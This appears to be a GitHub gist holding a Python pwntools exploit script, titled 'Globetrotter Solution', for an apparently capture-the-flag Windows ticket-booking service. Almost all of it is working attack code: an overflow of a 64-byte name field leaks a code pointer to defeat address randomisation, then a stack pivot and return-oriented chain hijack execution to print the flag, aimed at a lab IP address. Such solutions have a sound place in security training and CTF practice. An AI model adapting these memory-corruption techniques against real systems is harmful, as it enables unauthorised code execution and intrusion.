Skip to content

Instantly share code, notes, and snippets.

@gaasedelen
Created November 12, 2018 00:57
Show Gist options
  • Save gaasedelen/5fdf2cf102ada748b398969258d02b99 to your computer and use it in GitHub Desktop.
Save gaasedelen/5fdf2cf102ada748b398969258d02b99 to your computer and use it in GitHub Desktop.
Globetrotter Solution
import random
import struct
import binascii
from pwn import *
context.os = 'windows'
context.arch = 'amd64'
#-----------------------------------------------------------------------------
# Challenge Helpers
#-----------------------------------------------------------------------------
def book_plane_ticket(name):
return book_ticket(1, name)
def book_train_ticket(name):
return book_ticket(2, name)
def book_ticket(ticket_type, name):
p.sendline(str(ticket_type))
p.recvuntil("Name: ")
p.sendline(name) # passenger name
p.sendline(str(random.randint(0,0x100))) # account number (unimportant...)
p.recvuntil("Ticket ") # trash
ticket_number = int(p.recvuntil(" ")) # read the created ticket number
p.recv(4096) # trash
p.sendline()
return ticket_number
def print_reservation(ticket_number):
p.sendline("3")
p.recvuntil("Number: ")
p.sendline(str(ticket_number))
def modify_reservation(ticket_number, name=""):
p.sendline("4")
p.recvuntil("Number: ")
p.sendline(str(ticket_number))
p.recvuntil("Number (Y/N)? ") # account number never matters
p.sendline("N")
p.recvuntil("Name (Y/N)? ")
p.sendline("Y")
p.recvuntil(" Name: ")
p.sendline(name)
p.recv(4096) # discard success message
p.sendline() # return to menu
#-----------------------------------------------------------------------------
# Exploit Helpers
#-----------------------------------------------------------------------------
def offset(address):
exe_base = 0x140001000
return address - exe_base
def leak_code_address():
# create a ticket with a faulty name (64 bytes)
ticket_number = book_plane_ticket("A"*64)
# request the ticket be printed
print_reservation(ticket_number)
# the first 64 bytes of the passenger name we set, to 'A'*64
p.recvuntil("PASSENGER: ")
p.recv(64) # discard
# the following 6 bytets is a leaked code pointer we rubbed up against
leak = unpack(p.recv(6), 6*8)
# clear remaining bytes and return to menu
p.recv(4096)
p.sendline()
# return the leaked pointer
return leak
def exploit(base):
# build the payload to leak a stack address
pivot_payload = "flag\x00"
pivot_payload += "B"*(64 - len(pivot_payload))
pivot_payload += p64(base+offset(0x1400012da)) # add rsp, 0xa0; ret;
#
# modify the reservation we leaked the code address through
# to overwrite the leaked code pointer with a pivot
#
ticket_number = 0
modify_reservation(ticket_number, pivot_payload)
# small rop chain to print the flag
flag_payload = "C"*32 # garbage
flag_payload += p64(base+offset(0x140004154)) # pop rax; add rax, rcx; # rax will now point at 'flag\x00'
flag_payload += p64(0x10)
flag_payload += p64(base+offset(0x1400010d6)) # push rax; pop rcx;
flag_payload += p64(base+offset(0x140011017)) # ret; (nop, for stack alignment)
flag_payload += p64(base+offset(0x140001000)) # print flag
# spray the stack with our secondary payload
p.sendline(flag_payload)
p.sendline()
p.recv(4096)
# now trigger the rop chain for a stack leak
print_reservation(ticket_number)
#-----------------------------------------------------------------------------
# Exploit
#-----------------------------------------------------------------------------
p = remote('192.168.192.136', 4321)
# leak a code address from the binary
code_address = leak_code_address()
imagebase = code_address - 0xBC0
print "print_plane() @ 0x%08X" % code_address
print "globetrotter.exe @ 0x%08X" % imagebase
# leak a stack address from the binary
exploit(imagebase)
print "Got %s" % p.recv(4096)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment